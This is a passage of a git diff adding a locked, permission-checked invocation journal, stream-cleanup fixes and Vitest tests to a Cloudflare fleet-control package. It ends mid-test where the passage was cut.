00000000..6a28a713 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -0,0 +1,528 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { spawn } from 'node:child_process'; +import { createHash, randomUUID } from 'node:crypto'; +import { constants } from 'node:fs'; +import { lstat, mkdir, open, rename, rmdir, unlink } from 'node:fs/promises'; +import { dirname, join, resolve } from 'node:path'; +import PQueue from 'p-queue'; +import { + DIRECT_REFERENCE_BODY_LIMIT, + readDirectReferenceRequest, +} from './direct-reference-contract.mjs'; + +const ERROR_CODES = new Set([ + 'invalid-state', + 'run-exists', + 'run-missing', + 'lock-unavailable', + 'outcome-unknown', + 'invocation-budget-exhausted', +]); +const SUMMARY_FIELDS = [ + 'kind', + 'role', + 'slot', + 'operation', + 'release', + 'limit', + 'afterOrdinal', +]; +const MAX_JOURNAL_BYTES = 16 * 1024; + +export class DirectRunStateError extends Error { + constructor(code = 'invalid-state') { + const accepted = ERROR_CODES.has(code) ? code : 'invalid-state'; + super(accepted); + this.name = 'DirectRunStateError'; + this.code = accepted; + } +} + +function invalid() { + throw new DirectRunStateError(); +} + +function stateError(error) { + return error instanceof DirectRunStateError + ? error + : new DirectRunStateError(); +} + +function object(value, keys) { + if ( + !value || + typeof value !== 'object' || + Array.isArray(value) || + Object.keys(value).length !== keys.length || + keys.some((key) => !Object.hasOwn(value, key)) + ) + invalid(); + return value; +} + +function digest(value) { + if (typeof value !== 'string' || !/^[a-f0-9]{64}$/u.test(value)) invalid(); + return value; +} + +function bindingFromInput(input) { + const accountId = input.accountId; + if ( + typeof accountId !== 'string' || + !accountId || + accountId !== accountId.trim() || + accountId.length > 128 || + [...accountId].some( + (character) => + character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127, + ) + ) + invalid(); + const resourcePrefix = input.prepared.config.resourcePrefix; + const maxInvocations = input.prepared.config.referenceWorker.maxInvocations; + if ( + typeof resourcePrefix !== 'string' || + !/^fc[a-f0-9]{24}$/u.test(resourcePrefix) || + !Number.isSafeInteger(maxInvocations) || + maxInvocations < 1 + ) + invalid(); + return Object.freeze({ + accountId, + configSha256: digest(input.prepared.configSha256), + referenceModuleSetSha256: digest(input.prepared.referenceModuleSetSha256), + resourcePrefix, + maxInvocations, + }); +} + +function actionSummary(action) { + return Object.freeze( + Object.fromEntries( + SUMMARY_FIELDS.filter((key) => Object.hasOwn(action, key)).map((key) => [ + key, + action[key], + ]), + ), + ); +} + +async function decodeRequest(serialized, configSha256) { + if ( + typeof serialized !== 'string' || + Buffer.byteLength(serialized) > DIRECT_REFERENCE_BODY_LIMIT + ) + invalid(); + try { + return await readDirectReferenceRequest( + new Request('https://direct-conformance.invalid/', { + method: 'POST', + body: serialized, + }), + configSha256, + ); + } catch { + invalid(); + } +} + +async function decodeSnapshot(value, binding) { + object(value, ['version', 'binding', 'invocationCount', 'lastInvocation']); + object(value.binding, Object.keys(binding)); + if ( + value.version !== 1 || + Object.entries(binding).some( + ([key, expected]) => value.binding[key] !== expected, + ) || + !Number.isSafeInteger(value.invocationCount) || + value.invocationCount < 0 || + value.invocationCount > binding.maxInvocations + ) + invalid(); + let lastInvocation = null; + if (value.invocationCount === 0) { + if (value.lastInvocation !== null) invalid(); + } else { + const last = object(value.lastInvocation, [ + 'ordinal', + 'requestSha256', + 'action', + 'state', + ]); + if ( + last.ordinal !== value.invocationCount || + (last.state !== 'pending' && last.state !== 'settled') || + !last.action || + typeof last.action !== 'object' || + Array.isArray(last.action) || + Object.hasOwn(last.action, 'token') + ) + invalid(); + const action = { ...last.action }; + if ( + action.kind === 'cleanup-restart-blocked' || + action.kind === 'decommission-restart-blocked' + ) + action.token = null; + const decoded = await decodeRequest( + JSON.stringify({ + contractVersion: 1, + configSha256: binding.configSha256, + action, + }), + binding.configSha256, + ); + lastInvocation = Object.freeze({ + ordinal: last.ordinal, + requestSha256: digest(last.requestSha256), + action: actionSummary(decoded.action), + state: last.state, + }); + } + return Object.freeze({ + version: 1, + binding, + invocationCount: value.invocationCount, + lastInvocation, + }); +} + +function assertPrivate(stat, directory) { + if ( + stat.uid !== process.getuid() || + (stat.mode & 0o7777) !== (directory ? 0o700 : 0o600) || + (directory ? !stat.isDirectory() : !stat.isFile() || stat.nlink !== 1) + ) + invalid(); +} + +function fileFlags(access) { + return access | constants.O_NOFOLLOW | constants.O_NONBLOCK; +} + +async function privateDirectory(path) { + const handle = await open( + path, + fileFlags(constants.O_RDONLY | constants.O_DIRECTORY), + ); + try { + assertPrivate(await handle.stat(), true); + return handle; + } catch (error) { + await handle.close(); + throw error; + } +} + +async function ensureBase(path) { + try { + await mkdir(path, { mode: 0o700 }); + } catch (error) { + if (error.code !== 'EEXIST') throw error; + } + const handle = await privateDirectory(path); + try { + const parent = await open( + dirname(path), + constants.O_RDONLY | constants.O_DIRECTORY, + ); + try { + await parent.sync(); + } finally { + await parent.close(); + } + return handle; + } catch (error) { + await handle.close(); + throw error; + } +} + +async function acquireLock(path, base) { + const handle = await open( + path, + fileFlags(constants.O_RDWR | constants.O_CREAT), + 0o600, + ); + try { + assertPrivate(await handle.stat(), false); + const acquired = await new Promise((fulfill) => { + const child = spawn( + '/usr/bin/flock', + ['--exclusive', '--nonblock', '3'], + { stdio: ['ignore', 'ignore', 'ignore', handle.fd], env: {} }, + ); + let failed = false; + child.once('error', () => { + failed = true; + }); + child.once('close', (status, signal) => { + fulfill(!failed && status === 0 && signal === null); + }); + }); + if (!acquired) throw new DirectRunStateError('lock-unavailable'); + await handle.sync(); + await base.sync(); + return handle; + } catch (error) { + await handle.close(); + throw error; + } +} + +async function readSnapshot(path, binding) { + const handle = await open(path, fileFlags(constants.O_RDONLY)); + try { + const stat = await handle.stat(); + assertPrivate(stat, false); + if (stat.size < 1 || stat.size > MAX_JOURNAL_BYTES) invalid(); + const bytes = Buffer.alloc(stat.size); + let offset = 0; + while (offset < bytes.length) { + const { bytesRead } = await handle.read( + bytes, + offset, + bytes.length - offset, + offset, + ); + if (bytesRead === 0) invalid(); + offset += bytesRead; + } + if ((await handle.read(Buffer.alloc(1), 0, 1, offset)).bytesRead !== 0) + invalid(); + return await decodeSnapshot( + JSON.parse(new TextDecoder('utf-8', { fatal: true }).decode(bytes)), + binding, + ); + } finally { + await handle.close(); + } +} + +async function writeSnapshot(directory, handle, snapshot) { + const temporary = join(directory, `.journal-${randomUUID()}.tmp`); + let file; + let created = false; + try { + file = await open( + temporary, + fileFlags(constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL), + 0o600, + ); + created = true; + assertPrivate(await file.stat(), false); + const serialized = `${JSON.stringify(snapshot)}\n`; + if (Buffer.byteLength(serialized) > MAX_JOURNAL_BYTES) invalid(); + await file.writeFile(serialized); + await file.sync(); + await file.close(); + file = undefined; + await rename(temporary, join(directory, 'journal.json')); + created = false; + await handle.sync(); + } finally { + const cleanup = await Promise.allSettled([ + ...(file ? [file.close()] : []), + ...(created ? [unlink(temporary)] : []), + ]); + if (cleanup.some((result) => result.status === 'rejected')) invalid(); + } +} + +async function exists(path) { + try { + await lstat(path); + return true; + } catch (error) { + if (error.code === 'ENOENT') return false; + throw error; + } +} + +async function initializeRun(basePath, base, directory, binding) { + if (await exists(directory)) throw new DirectRunStateError('run-exists'); + const staging = join( + basePath, + `.${binding.resourcePrefix}-${randomUUID()}.tmp`, + ); + await mkdir(staging, { mode: 0o700 }); + let handle; + let published = false; + try { + handle = await privateDirectory(staging); + const snapshot = Object.freeze({ + version: 1, + binding, + invocationCount: 0, + lastInvocation: null, + }); + await writeSnapshot(staging, handle, snapshot); + if (await exists(directory)) throw new DirectRunStateError('run-exists'); + await rename(staging, directory); + published = true; + await base.sync(); + return { handle, snapshot }; + } catch (error) { + await handle?.close(); + if (!published) { + if (await exists(join(staging, 'journal.json'))) + await unlink(join(staging, 'journal.json')); + await rmdir(staging); + } + throw error; + } +} + +function runJournal(directory, directoryHandle, base, lock, initial) { + const queue = new PQueue({ concurrency: 1 }); + let snapshot = initial; + let poisoned = false; + let closePromise; + const enqueue = (operation) => { + if (closePromise) return Promise.reject(new DirectRunStateError()); + return queue.add(async () => { + try { + if (poisoned) invalid(); + const current = await readSnapshot( + join(directory, 'journal.json'), + snapshot.binding, + ); + if (JSON.stringify(current) !== JSON.stringify(snapshot)) invalid(); + return await operation(); + } catch (error) { + throw stateError(error); + } + }); + }; + const publish = async (next) => { + try { + await writeSnapshot(directory, directoryHandle, next); + snapshot = next; + } catch (error) { + poisoned = true; + throw error; + } + }; + return Object.freeze({ + directory, + snapshot() { + return snapshot; + }, + reserveInvocation(serializedRequest) { + return enqueue(async () => { + if (snapshot.lastInvocation?.state === 'pending') + throw new DirectRunStateError('outcome-unknown'); + if (snapshot.invocationCount >= snapshot.binding.maxInvocations) + throw new DirectRunStateError('invocation-budget-exhausted'); + const request = await decodeRequest( + serializedRequest, + snapshot.binding.configSha256, + ); + const reservation = Object.freeze({ + ordinal: snapshot.invocationCount + 1, + requestSha256: createHash('sha256') + .update(serializedRequest) + .digest('hex'), + }); + await publish( + Object.freeze({ + ...snapshot, + invocationCount: reservation.ordinal, + lastInvocation: Object.freeze({ + ...reservation, + action: actionSummary(request.action), + state: 'pending', + }), + }), + ); + return reservation; + }); + }, + settleInvocation(reservation) { + return enqueue(async () => { + object(reservation, ['ordinal', 'requestSha256']); + const last = snapshot.lastInvocation; + if ( + !last || + reservation.ordinal !== last.ordinal || + reservation.requestSha256 !== last.requestSha256 + ) + invalid(); + if (last.state === 'settled') return; + await publish( + Object.freeze({ + ...snapshot, + lastInvocation: Object.freeze({ ...last, state: 'settled' }), + }), + ); + }); + }, + close() { + closePromise ??= (async () => { + await queue.onIdle(); + const closed = await Promise.allSettled([ + directoryHandle.close(), + base.close(), + lock.close(), + ]); + if (closed.some((result) => result.status === 'rejected')) invalid(); + })(); + return closePromise; + }, + }); +} + +export async function openDirectRunState(input) { + let base; + let lock; + let directoryHandle; + try { + if ( + process.platform !== 'linux' || + typeof process.getuid !== 'function' || + !Number.isInteger(constants.O_NOFOLLOW) || + !Number.isInteger(constants.O_NONBLOCK) || + !Number.isInteger(constants.O_DIRECTORY) + ) + throw new DirectRunStateError('lock-unavailable'); + if (input.mode !== 'run' && input.mode !== 'resume') invalid(); + const binding = bindingFromInput(input); + const basePath = join( + dirname(resolve(input.configPath)), + '.direct-conformance', + ); + const directory = join(basePath, binding.resourcePrefix); + base = await ensureBase(basePath); + lock = await acquireLock( + join(basePath, `${binding.resourcePrefix}.lock`), + base, + ); + let snapshot; + if (input.mode === 'run') { + const initialized = await initializeRun( + basePath, + base, + directory, + binding, + ); + directoryHandle = initialized.handle; + snapshot = initialized.snapshot; + } else { + if (!(await exists(directory))) + throw new DirectRunStateError('run-missing'); + directoryHandle = await privateDirectory(directory); + snapshot = await readSnapshot(join(directory, 'journal.json'), binding); + if (snapshot.lastInvocation?.state === 'pending') + throw new DirectRunStateError('outcome-unknown'); + } + return runJournal(directory, directoryHandle, base, lock, snapshot); + } catch (error) { + await Promise.allSettled( + [directoryHandle, base, lock] + .filter((handle) => handle !== undefined) + .map((handle) => handle.close()), + ); + throw stateError(error); + } +} diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 0264f5db..0564777b 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -3339,7 +3339,8 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { method: NonNullable; }>, ): Promise { - if (!this.#exportStore) { + const exportStore = this.#exportStore; + if (!exportStore) { throw new Error( 'a durable exportStore is required before D1 can be exported for deletion', ); @@ -3414,14 +3415,21 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { stored = await storedPromise; integrity = await integrityPromise; } else { - [stored, integrity] = await Promise.all([ - this.#exportStore.write({ + const integrityPromise = hashExport(hashBody); + const storedPromise = funnel(() => + exportStore.write({ databaseId, fileName: `${databaseId}-${Date.now()}.sql`, body: storeBody, ...(hasContentLength ? { contentLength } : {}), }), - hashExport(hashBody), + ); + void storedPromise.catch((primary) => + cancelBodyWithoutAwait(storeBody, primary), + ); + [stored, integrity] = await Promise.all([ + storedPromise, + integrityPromise, ]); } if (!stored.location || integrity.size === 0) { diff --git a/packages/fleet-control/src/export-store.ts b/packages/fleet-control/src/export-store.ts index 842472dc..a2df5772 100644 --- a/packages/fleet-control/src/export-store.ts +++ b/packages/fleet-control/src/export-store.ts @@ -998,27 +998,39 @@ export class FileSystemDatabaseExportStore readonly size: number; readonly sha256: string; }> { - assertFileName(input.fileName); - if ( - input.contentLength !== undefined && - (!Number.isSafeInteger(input.contentLength) || input.contentLength < 0) - ) { - throw new Error( - 'export contentLength must be a non-negative safe integer', - ); - } - await mkdir(this.#directory, { recursive: true }); - const root = await realpath(this.#directory); - const target = resolve(root, input.fileName); - if (dirname(target) !== root) { - throw new Error('export fileName resolves outside the configured root'); - } - const temporary = join(root, `.${input.fileName}.${randomUUID()}.tmp`); + let temporary: string | undefined; let file: Awaited> | undefined; let reader: ReadableStreamDefaultReader | undefined; + let source: ReadableStream | undefined; try { + source = input.body; + assertFileName(input.fileName); + if ( + input.contentLength !== undefined && + (!Number.isSafeInteger(input.contentLength) || input.contentLength < 0) + ) { + throw new Error( + 'export contentLength must be a non-negative safe integer', + ); + } + await mkdir(this.#directory, { recursive: true }); + const root = await realpath(this.#directory); + for (let parent = dirname(root); ; parent = dirname(parent)) { + const handle = await open(parent, 'r'); + try { + await handle.sync(); + } finally { + await handle.close(); + } + if (dirname(parent) === parent) break; + } + const target = resolve(root, input.fileName); + if (dirname(target) !== root) { + throw new Error('export fileName resolves outside the configured root'); + } + temporary = join(root, `.${input.fileName}.${randomUUID()}.tmp`); file = await open(temporary, 'wx', 0o600); - reader = input.body.getReader(); + reader = source.getReader(); let size = 0; const hash = createHash('sha256'); for (;;) { @@ -1057,13 +1069,12 @@ export class FileSystemDatabaseExportStore cleanupErrors.push(cleanupError); } try { - // The reader's cancel on a tee branch settles when the tee source is - // exhausted or errors, or the other branch is cancelled, so cleanup + // A tee branch's cancellation waits for its sibling, so rejection // does not await it. - void reader?.cancel(error).catch(() => undefined); + cancelBodyWithoutAwait(reader ?? source, error); } catch {} try { - await rm(temporary, { force: true }); + if (temporary) await rm(temporary, { force: true }); } catch (cleanupError) { cleanupErrors.push(cleanupError); } diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index 782d189f..e2dfabb7 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -2020,6 +2020,49 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { expect(fixture.requests).toHaveLength(1); }); + it.each([ + false, + true, + ])('closes an unused export tee branch when a supplied store fails synchronously=%s', async (synchronous) => { + const bytes = new Uint8Array(1024 * 1024).fill(7); + const source = new ReadableStream({ + start(controller) { + controller.enqueue(bytes); + controller.close(); + }, + }); + let branch: ReadableStream | undefined; + const refused = new Error('fixture custom store refused'); + const fixture = recordingFetch(({ url }) => + url === 'https://download.example.test/export' + ? new Response(source) + : single({ + status: 'complete', + result: { signed_url: 'https://download.example.test/export' }, + }), + ); + const client = plainClient({ + fetch: fixture.fetch, + exportStore: { + write(input) { + branch = input.body; + if (synchronous) throw refused; + return Promise.reject(refused); + }, + }, + }); + await expect( + fenced(client, () => client.exportDatabase('db')), + ).rejects.toBeDefined(); + if (!branch) throw new Error('store branch was not supplied'); + const reader = branch.getReader(); + try { + expect(await reader.read()).toEqual({ done: true, value: undefined }); + } finally { + reader.releaseLock(); + } + }); + it('exposes receipt export only for a receipt-capable store', () => { const legacy = plainClient({ exportStore: { diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts new file mode 100644 index 00000000..b901c603 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts @@ -0,0 +1,648 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { spawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { + chmod, + link, + mkdir, + mkdtemp, + open, + readdir, + readFile, + rename, + rm, + stat, + symlink, + unlink, + writeFile, +} from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs'; +import { + type DirectRunJournal, + openDirectRunState, +} from '../scripts/direct-credentialed-run-state.mjs'; + +vi.mock('node:fs/promises', async (importOriginal) => { + const actual = await importOriginal(); + return { ...actual, rename: vi.fn(actual.rename) }; +}); + +const directories: string[] = []; +const journals = new Set(); +const hash = (value: string) => + createHash('sha256').update(value).digest('hex'); +const CLAIM = 'opaque-claim-must-not-enter-local-state'; + +async function fixture(limit = 3) { + const directory = await mkdtemp(join(tmpdir(), 'direct-run-state-')); + directories.push(directory); + const config = JSON.parse( + await readFile( + new URL( + '../scripts/direct-credentialed-conformance.example.json', + import.meta.url, + ), + 'utf8', + ), + ); + const reference = + "import manifest from './direct-run-manifest.js'; export default {fetch(){return Response.json(manifest.contractVersion)}};"; + const tenant = + 'export class Maintenance {} export class Runner {} export default {};'; + config.referenceWorker.artifact = { + bundle: './reference.mjs', + mainModule: 'worker.js', + sha256: hash(reference), + }; + config.referenceWorker.maxInvocations = limit; + config.deployment.artifact = { + bundle: './tenant.mjs', + mainModule: 'worker.js', + sha256: hash(tenant), + }; + const configPath = join(directory, 'config.json'); + await writeFile(configPath, JSON.stringify(config)); + await writeFile(join(directory, 'reference.mjs'), reference); + await writeFile(join(directory, 'tenant.mjs'), tenant); + const prepared = await preflightDirectConformance({ + configPath, + now: Date.parse('2026-09-10T12:00:00Z'), + }); + const base = join(directory, '.direct-conformance'); + const runDirectory = join(base, config.resourcePrefix); + const lockPath = join(base, `${config.resourcePrefix}.lock`); + const input = { configPath, prepared, accountId: 'account' }; + const request = (action: unknown = { kind: 'control-read' }) => + JSON.stringify({ + contractVersion: 1, + configSha256: prepared.configSha256, + action, + }); + return { + directory, + configPath, + prepared, + base, + runDirectory, + lockPath, + input, + request, + }; +} + +async function opened(input: Parameters[0]) { + const journal = await openDirectRunState(input); + journals.add(journal); + return journal; +} + +async function closed(journal: DirectRunJournal) { + await journal.close(); + journals.delete(journal); +} + +afterEach(async () => { + vi.restoreAllMocks(); + try { + await Promise.all([...journals].map((journal) => journal.close())); + } finally { + journals.clear(); + await Promise.all( + directories + .splice(0) + .map((directory) => rm(directory, { recursive: true, force: true })), + ); + } +}); + +const describeLinux = + process.platform === 'linux' ? describe.sequential : describe.skip; + +describeLinux('durable direct invocation state', () => { + it('persists the reservation before return and resumes the original budget without retaining claims', async () => { + const f = await fixture(2); + const journal = await opened({ ...f.input, mode: 'run' }); + expect(journal.snapshot().invocationCount).toBe(0); + const body = f.request({ + kind: 'cleanup-restart-blocked', + role: 'a', + token: { private: CLAIM }, + }); + const reservation = await journal.reserveInvocation(body); + expect(reservation).toEqual({ ordinal: 1, requestSha256: hash(body) }); + const path = join(journal.directory, 'journal.json'); + const bytes = await readFile(path, 'utf8'); + expect(bytes).not.toContain(CLAIM); + expect(bytes).not.toContain('"token"'); + expect(JSON.parse(bytes)).toMatchObject({ + invocationCount: 1, + lastInvocation: { + ...reservation, + action: { kind: 'cleanup-restart-blocked', role: 'a' }, + state: 'pending', + }, + }); + expect(Object.isFrozen(journal.snapshot())).toBe(true); + expect(Object.isFrozen(journal.snapshot().binding)).toBe(true); + expect(Object.isFrozen(journal.snapshot().lastInvocation?.action)).toBe( + true, + ); + await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({ + code: 'outcome-unknown', + }); + await expect( + journal.settleInvocation({ ...reservation, ordinal: 2 }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await expect( + journal.settleInvocation({ + ...reservation, + requestSha256: 'f'.repeat(64), + }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await journal.settleInvocation(reservation); + const settled = await readFile(path); + await journal.settleInvocation(reservation); + expect(await readFile(path)).toEqual(settled); + await closed(journal); + const resumed = await opened({ ...f.input, mode: 'resume' }); + expect(resumed.snapshot()).toMatchObject({ + invocationCount: 1, + lastInvocation: { + state: 'settled', + action: { kind: 'cleanup-restart-blocked', role: 'a' }, + }, + }); + const second = await resumed.reserveInvocation( + f.request({ kind: 'tenant-probe', role: 'b', operation: 'health' }), + ); + await resumed.settleInvocation(second); + await closed(resumed); + const exhausted = await opened({ ...f.input, mode: 'resume' }); + await expect( + exhausted.reserveInvocation(f.request()), + ).rejects.toMatchObject({ code: 'invocation-budget-exhausted' }); + expect(exhausted.snapshot().invocationCount).toBe(2); + for (const directory of [f.base, f.runDirectory]) + expect((await stat(directory)).mode & 0o777).toBe(0o700); + for (const file of [f.lockPath, path]) { + const info = await stat(file); + expect(info.mode & 0o777).toBe(0o600); + expect(info.nlink).toBe(1); + expect(info.uid).toBe(process.getuid?.()); + } + }); + + it('refuses pending outcomes and invalid bodies without hiding the durable count', async () => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + const before = await readFile(join(journal.directory, 'journal.json')); + for (const body of [ + '{', + f.request({ kind: 'force-recovery', script: CLAIM }), + f.request().replace(f.prepared.configSha256, 'f'.repeat(64)), + ]) { + const error = await journal + .reserveInvocation(body) + .catch((error: unknown) => error); + expect(error).toMatchObject({ code: 'invalid-state' }); + expect(String(error)).not.toContain(CLAIM); + expect(await readFile(join(journal.directory, 'journal.json'))).toEqual( + before, + ); + } + await journal.reserveInvocation( + f.request({ kind: 'migration-continue', token: { private: CLAIM } }), + ); + await closed(journal); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + await expect( + openDirectRunState({ ...f.input, mode: 'run' }), + ).rejects.toMatchObject({ code: 'run-exists' }); + expect( + JSON.parse(await readFile(join(f.runDirectory, 'journal.json'), 'utf8')) + .invocationCount, + ).toBe(1); + }); + + it('serializes concurrent reservations and waits for queued writes before close', async () => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + const results = await Promise.allSettled([ + journal.reserveInvocation(f.request()), + journal.reserveInvocation(f.request()), + ]); + expect(results.map((result) => result.status)).toEqual([ + 'fulfilled', + 'rejected', + ]); + if (results[0].status !== 'fulfilled') + throw new Error('first reservation failed'); + await journal.settleInvocation(results[0].value); + const next = journal.reserveInvocation(f.request()); + const closing = journal.close(); + await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({ + code: 'invalid-state', + }); + expect((await next).ordinal).toBe(2); + await closing; + journals.delete(journal); + expect( + JSON.parse(await readFile(join(f.runDirectory, 'journal.json'), 'utf8')) + .lastInvocation.state, + ).toBe('pending'); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + }); + + it('rejects changed bindings and corrupted counters or summaries on resume', async () => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + const reservation = await journal.reserveInvocation(f.request()); + await journal.settleInvocation(reservation); + await closed(journal); + const path = join(f.runDirectory, 'journal.json'); + const original = JSON.parse(await readFile(path, 'utf8')); + for (const mutate of [ + (value: typeof original) => { + value.binding.accountId = 'foreign'; + }, + (value: typeof original) => { + value.binding.configSha256 = 'f'.repeat(64); + }, + (value: typeof original) => { + value.binding.referenceModuleSetSha256 = 'f'.repeat(64); + }, + (value: typeof original) => { + value.binding.maxInvocations += 1; + }, + (value: typeof original) => { + value.invocationCount = 0; + }, + (value: typeof original) => { + value.invocationCount = 4; + }, + (value: typeof original) => { + value.lastInvocation.ordinal = 2; + }, + (value: typeof original) => { + value.lastInvocation.requestSha256 = 'invalid'; + }, + (value: typeof original) => { + value.lastInvocation.action.token = CLAIM; + }, + (value: typeof original) => { + value.lastInvocation.action.kind = 'unknown-action'; + }, + (value: typeof original) => { + value.unexpected = true; + }, + ]) { + const corrupted = structuredClone(original); + mutate(corrupted); + await writeFile(path, JSON.stringify(corrupted)); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + } + await writeFile(path, JSON.stringify(original)); + await closed(await opened({ ...f.input, mode: 'resume' })); + }); + + it('retains the old file on failed publication and refuses a poisoned open handle', async () => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + const path = join(journal.directory, 'journal.json'); + const before = await readFile(path); + vi.mocked(rename).mockRejectedValueOnce( + new Error('fixture publication failure'), + ); + await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({ + code: 'invalid-state', + }); + expect(await readFile(path)).toEqual(before); + expect(await readdir(journal.directory)).toEqual(['journal.json']); + await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({ + code: 'invalid-state', + }); + await closed(journal); + const resumed = await opened({ ...f.input, mode: 'resume' }); + const reservation = await resumed.reserveInvocation(f.request()); + expect(reservation.ordinal).toBe(1); + await resumed.settleInvocation(reservation); + }); + + it('retries the base parent barrier after failed initialization and on resume', async () => { + const f = await fixture(); + const parent = await stat(f.directory); + const probe = await open(f.configPath, 'r'); + const prototype = Object.getPrototypeOf(probe) as typeof probe; + const originalSync = prototype.sync; + let failed = true; + let attempts = 0; + let completed = 0; + const sync = vi.spyOn(prototype, 'sync').mockImplementation(async function ( + this: typeof probe, + ) { + const current = await this.stat(); + if ( + current.isDirectory() && + current.dev === parent.dev && + current.ino === parent.ino + ) { + attempts += 1; + if (failed) throw new Error('fixture parent directory sync failure'); + await originalSync.call(this); + completed += 1; + return; + } + return originalSync.call(this); + }); + try { + for (let retry = 0; retry < 2; retry++) { + await expect( + openDirectRunState({ ...f.input, mode: 'run' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + expect((await stat(f.base)).isDirectory()).toBe(true); + await expect(stat(f.runDirectory)).rejects.toMatchObject({ + code: 'ENOENT', + }); + } + expect(attempts).toBe(2); + expect(completed).toBe(0); + failed = false; + const journal = await opened({ ...f.input, mode: 'run' }); + const reservation = await journal.reserveInvocation(f.request()); + expect(completed).toBe(1); + await journal.settleInvocation(reservation); + await closed(journal); + failed = true; + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + failed = false; + await closed(await opened({ ...f.input, mode: 'resume' })); + expect(completed).toBe(2); + } finally { + sync.mockRestore(); + await probe.close(); + } + }); + + it('preserves an uncertain published reservation when directory sync fails', async () => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + const directoryStat = await stat(journal.directory); + const probe = await open(join(journal.directory, 'journal.json'), 'r'); + const prototype = Object.getPrototypeOf(probe) as typeof probe; + const originalSync = prototype.sync; + const sync = vi.spyOn(prototype, 'sync').mockImplementation(async function ( + this: typeof probe, + ) { + const current = await this.stat(); + if ( + current.isDirectory() && + current.ino === directoryStat.ino && + current.dev === directoryStat.dev + ) + throw new Error('fixture directory sync failure'); + return originalSync.call(this); + }); + try { + await expect( + journal.reserveInvocation(f.request()), + ).rejects.toMatchObject({ code: 'invalid-state' }); + expect( + JSON.parse( + await readFile(join(journal.directory, 'journal.json'), 'utf8'), + ), + ).toMatchObject({ + invocationCount: 1, + lastInvocation: { state: 'pending' }, + }); + } finally { + sync.mockRestore(); + await probe.close(); + } + await closed(journal); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + }); + + it('refuses linked or public state files and permits a config-parent alias', async () => { + const f = await fixture(); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'run-missing' }); + const journal = await opened({ ...f.input, mode: 'run' }); + await closed(journal); + const path = join(f.runDirectory, 'journal.json'); + await chmod(path, 0o644); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await chmod(path, 0o600); + const extra = join(f.directory, 'extra-link'); + await link(path, extra); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await unlink(extra); + const saved = join(f.runDirectory, 'saved.json'); + await rename(path, saved); + await symlink(saved, path); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await unlink(path); + await rename(saved, path); + const alias = join(f.directory, 'alias'); + await symlink(f.directory, alias, 'dir'); + await closed( + await opened({ + ...f.input, + configPath: join(alias, 'config.json'), + mode: 'resume', + }), + ); + }); + + it('refuses insecure directories and lock aliases while preserving existing data', async () => { + const f = await fixture(); + await mkdir(f.base, { mode: 0o755 }); + await expect( + openDirectRunState({ ...f.input, mode: 'run' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + expect(await readdir(f.base)).toEqual([]); + await chmod(f.base, 0o700); + const target = join(f.directory, 'untouched'); + await writeFile(target, 'preserve', { mode: 0o600 }); + await symlink(target, f.lockPath); + await expect( + openDirectRunState({ ...f.input, mode: 'run' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + expect(await readFile(target, 'utf8')).toBe('preserve'); + await unlink(f.lockPath); + const journal = await opened({ ...f.input, mode: 'run' }); + await closed(journal); + const original = await stat(f.lockPath); + await chmod(f.runDirectory, 0o755); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await chmod(f.runDirectory, 0o700); + await chmod(f.lockPath, 0o644); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await 